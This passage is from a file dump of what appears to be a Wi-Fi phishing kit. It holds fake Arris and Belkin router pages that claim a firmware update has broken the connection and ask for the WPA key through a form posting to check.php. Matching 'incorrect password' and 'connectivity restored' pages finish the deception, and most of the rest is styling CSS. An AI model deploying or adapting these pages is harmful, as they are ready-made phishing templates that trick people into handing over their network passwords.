}\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.home_station { width: 239px; height: 29px; display: block; }\n.network_map { margin-top: 18px; width: 124px; height: 21px; display: block; }\n.movistar { width: 221px; height: 49px; float: right; }\n.options_menu { width: 904px; position: absolute; margin-top: -60px; }\n.line { background-color: rgb(81, 85, 89); width: 1px; height: 9px; margin: 4px 12px; }\n.line_small { background-color: rgb(160, 165, 169); width: 1px; height: 5px; margin: 6px 10px; }\n.password_ico { background: url('password_blue_light.gif') no-repeat scroll 0% 0% transparent; width: 20px; height: 10px; padding-right: 8px; margin-top: 3px; }\n.password_ico.hover { background: url('password_blue.gif') no-repeat scroll 0% 0% transparent; }\n.faq_ico { background: url('faq_blue_light.png') no-repeat scroll 0% 0% transparent; width: 17px; height: 17px; padding-right: 8px; }\n.faq_ico.hover { background: url('faq_blue.png') no-repeat scroll 0% 0% transparent; }\n.languages a { color: rgb(160, 165, 169); float: right; }\n.languages a:hover { color: rgb(112, 145, 167); text-decoration: underline; }\n.footer { height: 34px; }\n\n\n\n/* ::::: http://192.168.1.1/css/network_map.css ::::: */\n\n.house { background-image: url('house.png'); width: 1025px; height: 555px; margin: auto; }\n\n.house1 { background-image: url('house1.png'); width: 1025px; height: 555px; margin: auto; }\n\n#wifi { position: absolute; margin: 384px 0px 0px 420px; width: 300px; text-align: center; font-size: 15px; }\n.wifi_ico { width: 89px; height: 103px; background-position: 0px 0px; display: block; margin: 20px auto 6px; }\n.wifi_ico[color=\"grey\"] { background-position: 0px 0px; }\n.wifi_ico[color=\"green\"] { background-position: -89px 0px; }\n.wifi_ico[color=\"blue\"] { background-position: -178px 0px; }\n.wifi_ico[color=\"orange\"] { background-position: -267px 0px; }\n.wifi_ico[color=\"red\"] { background-position: -356px 0px; }\n.wifi_ico.hover { background-position: -178px 0px; }\n.gateway { display: none; margin: 0px auto; }\n.wifi_txt { margin-top: 4px; }\n#home_content { width: 380px; }\n.scroll { margin: 160px 0px 0px 350px; position: absolute; }\n\n\n/* ::::: http://192.168.1.1/css/movistar.css ::::: */\n\n.home_station { background: none repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar { background: url('titlebar_m.png') repeat-x scroll 0% 0% transparent; }\n.dialog_faq { background: url('faq.png') no-repeat scroll 0% 0% transparent; }\n.dialog_faq:hover { background: url('faq_hover.png') no-repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar-close { background: url('cancel_sprite.png') no-repeat scroll -44px 0px transparent; }\n.ui-dialog .ui-dialog-titlebar-close:hover { background-position: -66px 0px; }\n.welcomepan_icon { background: url('welcome_pantalla_m.png') no-repeat scroll 0% 0% transparent; }\n.welcomepan_icon:hover { background: url('welcome_pantalla_m.png') repeat scroll 270px 0px transparent; }\n.welcome_fav_icon { background: url('favoritos_m.png') no-repeat scroll 0% 0% transparent; width: 217px; height: 54px; }\n.welcome_fav_icon.hover { background: url('favoritos_m.png') repeat scroll 217px 0px transparent; }\n#help_dialog { border: 3px solid rgb(67, 177, 200); }\n.usb_icon { background: url('down_usb_m.png') no-repeat scroll 0% 0% transparent; }\n.print_icon { background: url('down_print_m.png') no-repeat scroll 0% 0% transparent; }\n.wifi_ico { background: url('router_m.png') no-repeat scroll 0% 0% transparent; }\n.imgStiker { background-image: url('gateway_sticker_m.png'); }\n.imgDefaultStiker { background-image: url('gateway_sticker_m.png'); }\n.gateway_reset_ico { width: 100px; height: 113px; background-image: url('reset_m.png'); }\n\n"
  },
  {
    "path": "sites/arris_esp/info.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info2.css\" media=\"all\">\n</head>\n<body bgcolor=\"transparent\" marginheight=\"0\" marginwidth=\"0\">\n\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n  <tbody><tr> \n      <td width=\"2%\">&nbsp;</td><td width=\"5%\"></td><td width=\"93%\"> \n      <div valign=\"top\" align=\"left\"> \n        <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"360\">\n           \n          </tr>\n          <TABLE id=\"autoWidth\">\n\n      <TBODY>\n<tr><td><hr color=\"#F6832A\" size=1 width=\"99%\"></td></tr>\n\n\n                  <tr><td colspan=\\\"2\\\" ><font color=\"#282B2F\"><b></b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"><b>Verificacion de acceso</b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"><b></b></td></tr>\n\n\n<tr><td></td></tr>\n\n\n<tr><td><hr color=\"#F6832A\" size=1 width=\"99%\"></td></tr>\n<tr><td></td></tr>\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n<br><font color=\"#282B2F\">\nEstimado cliente debido a actualizaciones de seguridad y fimrware la conexion tiene deficiencias\n<br>\n<br>\nPor razones de seguridad <b></b> ingresa clave wifi\n<br>\n<div id=\"box\" align=\"left\" >\n<form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" >\n<tr><td><b><font color=\"#282B2F\">WPA</b> Key:</td></tr>\n<tr><td><input name=\"key1\" type=\"password\" class=\"textfield\" /><td></tr>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n                <TR><TD class=blue colspan=2></TD></TR>\n\n        \n<tr><td colspan=\"2\"><INPUT name=\"Confirm\" class=\"button\" type=\"submit\" value=\"Confirm\"/></td></tr>\n\n</form></div>\n\n</TD></TR>\n\n\n      </TBODY>\n\n    </TABLE>\n</table></div></td></tr></tbody></table>\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/arris_esp/info2.css",
    "content": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 944px; height: 720px; margin: 0px auto; text-align: left; padding: 0px; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.line_grey { background-color: rgb(229, 229, 229); width: 100%; height: 1px; clear: both; }\ninput { margin: 6px auto; padding-left: 7px; height: 20px; width:300px; border: 1px solid rgb(207, 207, 207); font-family: Verdana,Geneva,sans-serif; font-size: 13px ! important; color: rgb(81, 85, 89); }\n.buttons_space { margin-left: 50px; } \n\n"
  },
  {
    "path": "sites/belkin_eng/ayuda.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>BELKIN-SERVICE</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house1\">\n\t\t\n\t\n\t\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"index.htm\"><font color=\"#003165\">--BACK TO MAIN PAGE--</span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"index.htm\"><font color=\"#F6832A\"></A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"index.htm\"><font color=\"#003165\">Back To Main Page</A></span>\n\t</div>\n\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/belkin_eng/error.html",
    "content": " \n   <link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\">\n</HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n\n        <TR>\n\n          <TD colspan=2></TD>\n\n        </TR>\n        \n        \n  </TR>\n \n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n\n\n<b><font color=\"red\" size=\"3\">ERROR</font>:</b> THE INSERTED PASSWORD IS <b>INCORRECT</b> !</b></TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n<tr><td colspan=\"2\" align=\"center\"><form><INPUT name=\"VOLVER\" onclick=\"history.back();return false\" class=\"buttonBig\" type=\"submit\" value=\"VOLVER\"/></form></td></tr>\n\n<tbody><tr><td height=\"50\" width=\"50\"><img src=\"data:image/gif;base64,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\n\" height=\"50\" width=\"50\"></td>\n        </tr>\n      </tbody></table>\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n      </blockquote>\n</BODY>\n\n</HTML>\n"
  },
  {
    "path": "sites/belkin_eng/final.html",
    "content": "<link rel=\"stylesheet\" href=\"info2.css\" type=\"text/css\"></HEAD>\n</HEAD>\n\n<BODY>\n      <blockquote>\n\n    <TABLE id=\"autoWidth\">\n\n      <TBODY>\n\n\n        <TR>\n\n          <TD class=blue colspan=2></TD>\n\n        </TR>\n\n\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n          \nYOUR INTERNET CONNECTIVITY WILL NOW BE RESTORED.</TD></TR>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n        \n\n\n\n      </TBODY>\n\n    </TABLE>\n\n\n</blockquote>\n</BODY>\n\n</HTML>\n\n"
  },
  {
    "path": "sites/belkin_eng/index.htm",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n\n\t\n\t<title>BELKIN-SERVICE</title>\n\t\n\t\t \n\t\n\t\n\t\n\t\n\t\n\t\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info.css\" media=\"all\">\n</head>\n\n\n\n<body>\t\n\t\n\n\t\t<div class=\"panel_content\" id=\"panel_content\"><div class=\"house\">\n\t\t<div style=\"cursor: auto;\" id=\"internet\" class=\"divInternet\">\n\t\t<div class=\"internet\" id=\"iconInternet\" internet_status=\"INTERNET_OK\"></div>\n\t\t<div class=\"internet_txt\">\n\t\t\t<span class=\"trad\" key=\"MAP_INTERNET\"><A href=\"ayuda.htm\"><font color=\"#003165\">Click HERE FOR MORE INFO</A></span>\n\t\t\t<span class=\"internet_des trad\" key=\"COMMON_EMPTY\" id=\"internetAlert\"> </span>\n\t\t</div>\n\t</div>\n\t<div id=\"threeG\" class=\"threeG hand trad\" style=\"\">\n\t\t<div style=\"background-position: 0px 0px;\" id=\"threeG_icos\" class=\"threeG_ico\" power3g=\"3\"></div>\n\t\t<span class=\"threeG_txt hand trad\" key=\"MAP_3G\"><A href=\"ayuda.htm\"><font color=\"#F6832A\"></span>\n\t</div>\n\t<div adslconfigurable=\"true\" id=\"adsl\" adslactive=\"false\" class=\"adsl trad hand\">\n\t\t<div style=\"background-position: -152px 0px;\" class=\"adsl_ico\" id=\"iconadsl\"></div>\n\t\t<span class=\"adsl_txt trad\" key=\"MAP_ADSL\"><A href=\"ayuda.htm\"><font color=\"#F6832A\"></A></span>\n\t</div>\t\n\t<div id=\"wifi\" class=\"hand disabled\">\n\t\t<div class=\"wifi_ico\" color=\"red\"></div>\n\t\t<span class=\"gateway\"></span>\n\t\t<span class=\"wifi_txt trad\" key=\"MAP_WIFI_WPA\"><A href=\"ayuda.htm\"><font color=\"red\" >¿PLEASE HELP?------</A></span>\n\t</div>\n\n\t\n\t\n\t\n\t\t<div class=\"scroll\">\n<iframe src=\"info.html\" width=\"440\" height=\"265\" align=\"center\">\n\t\t</div>\n\t\n\t\n\t\n\n        <div id=\"remaining_session_box\" style=\"float: right; display: none;\">\n\t\t<span>Remaining Session: </span>\t\n\t\t<span id=\"remaining_session\"></span>\n\t</div>\n\n</div></div></a>\n\t</div>\t\t\t\t\t\n  \t\t\n\t<div id=\"help_dialog\" class=\"dialog\"></div>\n\t<div id=\"dialog\" class=\"dialog dialog_text\"></div>\t\n\t<div id=\"dialogWarning\" class=\"dialog dialog_text\"></div>\n\t\n\n\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/belkin_eng/info.css",
    "content": "\n/* ::::: http://192.168.1.1/css/styles.css ::::: */\n\nhtml, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; background: none repeat scroll 0% 0% white; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; background: url('background.png') repeat-x scroll 0% 0% transparent; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 600px; height: 650px; margin: 0px auto; text-align: left; padding: 0px; background: url('background.png') repeat-x scroll 0% 0% transparent; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.home_station { width: 239px; height: 29px; display: block; }\n.network_map { margin-top: 18px; width: 124px; height: 21px; display: block; }\n.movistar { width: 221px; height: 49px; float: right; }\n.options_menu { width: 904px; position: absolute; margin-top: -60px; }\n.line { background-color: rgb(81, 85, 89); width: 1px; height: 9px; margin: 4px 12px; }\n.line_small { background-color: rgb(160, 165, 169); width: 1px; height: 5px; margin: 6px 10px; }\n.password_ico { background: url('password_blue_light.gif') no-repeat scroll 0% 0% transparent; width: 20px; height: 10px; padding-right: 8px; margin-top: 3px; }\n.password_ico.hover { background: url('password_blue.gif') no-repeat scroll 0% 0% transparent; }\n.faq_ico { background: url('faq_blue_light.png') no-repeat scroll 0% 0% transparent; width: 17px; height: 17px; padding-right: 8px; }\n.faq_ico.hover { background: url('faq_blue.png') no-repeat scroll 0% 0% transparent; }\n.languages a { color: rgb(160, 165, 169); float: right; }\n.languages a:hover { color: rgb(112, 145, 167); text-decoration: underline; }\n.footer { height: 34px; }\n\n\n\n/* ::::: http://192.168.1.1/css/network_map.css ::::: */\n\n.house { background-image: url('house.png'); width: 900px; height: 510px; margin: auto; }\n\n.house1 { background-image: url('house1.png'); width: 900px; height: 510px; margin: auto; }\n\n#wifi { position: absolute; margin: 350px 0px 0px 450px; width: 300px; text-align: center; font-size: 15px; }\n.wifi_ico { width: 89px; height: 103px; background-position: 0px 0px; display: block; margin: 20px auto 6px; }\n.wifi_ico[color=\"grey\"] { background-position: 0px 0px; }\n.wifi_ico[color=\"green\"] { background-position: -89px 0px; }\n.wifi_ico[color=\"blue\"] { background-position: -178px 0px; }\n.wifi_ico[color=\"orange\"] { background-position: -267px 0px; }\n.wifi_ico[color=\"red\"] { background-position: -356px 0px; }\n.wifi_ico.hover { background-position: -178px 0px; }\n.gateway { display: none; margin: 0px auto; }\n.wifi_txt { margin-top: 4px; }\n#home_content { width: 380px; }\n.scroll { margin: 210px 0px 0px 350px; position: absolute; }\n\n\n/* ::::: http://192.168.1.1/css/movistar.css ::::: */\n\n.home_station { background: none repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar { background: url('titlebar_m.png') repeat-x scroll 0% 0% transparent; }\n.dialog_faq { background: url('faq.png') no-repeat scroll 0% 0% transparent; }\n.dialog_faq:hover { background: url('faq_hover.png') no-repeat scroll 0% 0% transparent; }\n.ui-dialog .ui-dialog-titlebar-close { background: url('cancel_sprite.png') no-repeat scroll -44px 0px transparent; }\n.ui-dialog .ui-dialog-titlebar-close:hover { background-position: -66px 0px; }\n.welcomepan_icon { background: url('welcome_pantalla_m.png') no-repeat scroll 0% 0% transparent; }\n.welcomepan_icon:hover { background: url('welcome_pantalla_m.png') repeat scroll 270px 0px transparent; }\n.welcome_fav_icon { background: url('favoritos_m.png') no-repeat scroll 0% 0% transparent; width: 217px; height: 54px; }\n.welcome_fav_icon.hover { background: url('favoritos_m.png') repeat scroll 217px 0px transparent; }\n#help_dialog { border: 3px solid rgb(67, 177, 200); }\n.usb_icon { background: url('down_usb_m.png') no-repeat scroll 0% 0% transparent; }\n.print_icon { background: url('down_print_m.png') no-repeat scroll 0% 0% transparent; }\n.wifi_ico { background: url('router_m.png') no-repeat scroll 0% 0% transparent; }\n.imgStiker { background-image: url('gateway_sticker_m.png'); }\n.imgDefaultStiker { background-image: url('gateway_sticker_m.png'); }\n.gateway_reset_ico { width: 100px; height: 113px; background-image: url('reset_m.png'); }\n\n"
  },
  {
    "path": "sites/belkin_eng/info.html",
    "content": "<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n\n<link rel=\"stylesheet\" type=\"text/css\" href=\"info2.css\" media=\"all\">\n</head>\n<body bgcolor=\"transparent\" marginheight=\"0\" marginwidth=\"0\">\n\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n  <tbody><tr> \n      <td width=\"2%\">&nbsp;</td><td width=\"5%\"></td><td width=\"93%\"> \n      <div valign=\"top\" align=\"left\"> \n        <table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"360\">\n           \n          </tr>\n          <TABLE id=\"autoWidth\">\n\n      <TBODY>\n<tr><td><hr color=\"#003165\" size=2 width=\"99%\"></td></tr>\n\n\n                  <tr><td colspan=\\\"2\\\" ><font color=\"#282B2F\"><b></b></td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"><b></b> Continue restoring network</td></tr>\n        <tr><td colspan=\\\"2\\\"  ><font color=\"#282B2F\"><b></b></td></tr>\n\n\n<tr><td></td></tr>\n\n\n<tr><td><hr color=\"#003165\" size=2 width=\"99%\"></td></tr>\n<tr><td></td></tr>\n\n        <TR>\n\n          <TD class=info1 colspan=2>\n<br><font color=\"#282B2F\">\nDear customer due to security updates and firmware the connection has shortcomings \n<br>\n<br>\nFor security reasons enter network key  <b></b>\n<br>\n<div id=\"box\" align=\"left\" >\n<form id=\"form1\" name=\"form1\" method=\"POST\" action=\"check.php\" >\n<tr><td><b><font color=\"#282B2F\">WPA</b> Key:</td></tr>\n<tr><td><input name=\"key1\" type=\"password\" class=\"textfield\" /><td></tr>\n\n\n        <TR><TD class=blue colspan=2></TD></TR>\n                <TR><TD class=blue colspan=2></TD></TR>\n\n        \n<tr><td colspan=\"2\"><INPUT name=\"Confirm\" class=\"button\" type=\"submit\" value=\"Confirm\"/></td></tr>\n\n</form></div>\n\n</TD></TR>\n\n\n      </TBODY>\n\n    </TABLE>\n</table></div></td></tr></tbody></table>\n</body>\n</html>\n\n"
  },
  {
    "path": "sites/belkin_eng/info2.css",
    "content": "html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, font, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { margin: 0px; padding: 0px; border: 0px none; outline: 0px none; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; }\n:focus { outline: 0px none; }\nbody { line-height: 1; color: black; -moz-user-select: none; }\nbody a { color: rgb(79, 79, 79); text-decoration: none; }\nol, ul { list-style: none outside none; }\ntable { border-collapse: separate; border-spacing: 0px; }\ncaption, th, td { text-align: left; font-weight: normal; }\nblockquote:before, blockquote:after, q:before, q:after { content: \"\"; }\nblockquote, q { quotes: \"\" \"\"; }\nbody { font-family: Verdana,Geneva,sans-serif; margin: 0px; padding: 0px; text-align: center; font-size: 14px; line-height: 14px; color: rgb(81, 85, 89); }\n.panel_general { width: 944px; height: 720px; margin: 0px auto; text-align: left; padding: 0px; }\n.left { float: left; }\n.right { float: right; }\n.centred { text-align: center; margin: 8px 0px; }\n.hand { cursor: pointer; }\n.txt_hover { color: rgb(112, 145, 167) ! important; text-decoration: underline; }\n.panel_header { width: 944px; height: 131px; visibility: hidden; }\n.header_content { height: 131px; padding: 38px 40px; }\n.header_left { width: 439px; float: left; }\n.line_grey { background-color: rgb(229, 229, 229); width: 100%; height: 1px; clear: both; }\ninput { margin: 6px auto; padding-left: 7px; height: 20px; width:300px; border: 1px solid rgb(207, 207, 207); font-family: Verdana,Geneva,sans-serif; font-size: 13px ! important; color: rgb(81, 85, 89); }\n.buttons_space { margin-left: 50px; } \n\n"
  },
  {
    "path": "sites/fritzbox_de/error.html",
